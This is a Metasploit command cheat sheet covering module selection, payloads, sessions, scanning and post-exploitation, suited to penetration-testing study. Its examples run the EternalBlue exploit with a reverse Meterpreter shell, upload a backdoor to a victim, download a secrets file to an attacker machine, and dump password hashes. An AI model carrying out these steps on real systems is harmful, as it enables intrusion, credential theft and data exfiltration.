Command | Description | Example Usage |
---|---|---|
msfconsole |
Start Metasploit console | $ msfconsole |
search <keyword> |
Search for exploits, payloads, auxiliary modules | msf> search apache |
info <module> |
Display detailed information about a module | msf> info exploit/windows/smb/ms17_010_eternalblue |
use <module> |
Use a specific module | msf> use exploit/windows/smb/ms17_010_eternalblue |
set <option> <value> |
Set options for a module | msf> set RHOSTS 192.168.1.100 |
show options |
Show options for a module | msf> show options |
show payloads |
Show available payloads | msf> show payloads |
show encoders |
Show available encoders | msf> show encoders |
show nops |
Show available NOPS | msf> show nops |
show post |
Show available post-exploitation modules | msf> show post |
set payload <payload> |
Set the payload to be used with the exploit | msf> set payload windows/x64/meterpreter/reverse_tcp |
exploit |
Run the exploit | msf> exploit |
Command | Description | Example Usage |
---|---|---|
ifconfig |
Show network interfaces | msf> ifconfig |
route |
Show routing table | msf> route |
route add <subnet> <netmask> <gateway> |
Add a route | msf> route add 192.168.1.0 255.255.255.0 1 |
route remove <subnet> <netmask> <gateway> |
Remove a route | msf> route remove 192.168.1.0 255.255.255.0 1 |
Command | Description | Example Usage |
---|---|---|
db_connect <user>:<pass>@<host>/<database> |
Connect to the database | msf> db_connect user:password@localhost/msf |
workspace -a <workspace_name> |
Create a new workspace | msf> workspace -a project1 |
workspace <workspace_name> |
Switch between workspaces | msf> workspace project1 |
hosts |
List hosts in the database | msf> hosts |
services |
List services in the database | msf> services |
vulns |
List vulnerabilities in the database | msf> vulns |
notes |
List notes in the database | msf> notes |
Command | Description | Example Usage |
---|---|---|
background |
Background the current session | meterpreter> background |
sessions -l |
List all background sessions | msf> sessions -l |
sessions -i <session_id> |
Interact with a background session | msf> sessions -i 1 |
upload <local_path> <remote_path> |
Upload a file to the victim machine | meterpreter> upload /home/attacker/backdoor.exe C:\\Windows\\backdoor.exe |
download <remote_path> <local_path> |
Download a file from the victim machine | meterpreter> download C:\\secrets.txt /home/attacker/stolen_secrets.txt |
execute -f <command> |
Run a shell command on the victim machine | meterpreter> execute -f cmd.exe -a "/c whoami" |
screenshot |
Take a screenshot of the victim machine's desktop | meterpreter> screenshot |
Command | Description | Example Usage |
---|---|---|
use auxiliary/scanner/<scanner_module> |
Use an auxiliary scanner | msf> use auxiliary/scanner/smb/smb_version |
set RHOSTS <target_ip_range> |
Set RHOSTS for scanners | msf> set RHOSTS 192.168.1.0/24 |
run |
Run an auxiliary module | msf> run |
Command | Description | Example Usage |
---|---|---|
use post/<post_exploit_module> |
Use a post-exploitation module | msf> use post/windows/gather/hashdump |
set SESSION <session_id> |
Set SESSION for post modules | msf> set SESSION 1 |
run |
Run a post module | msf> run |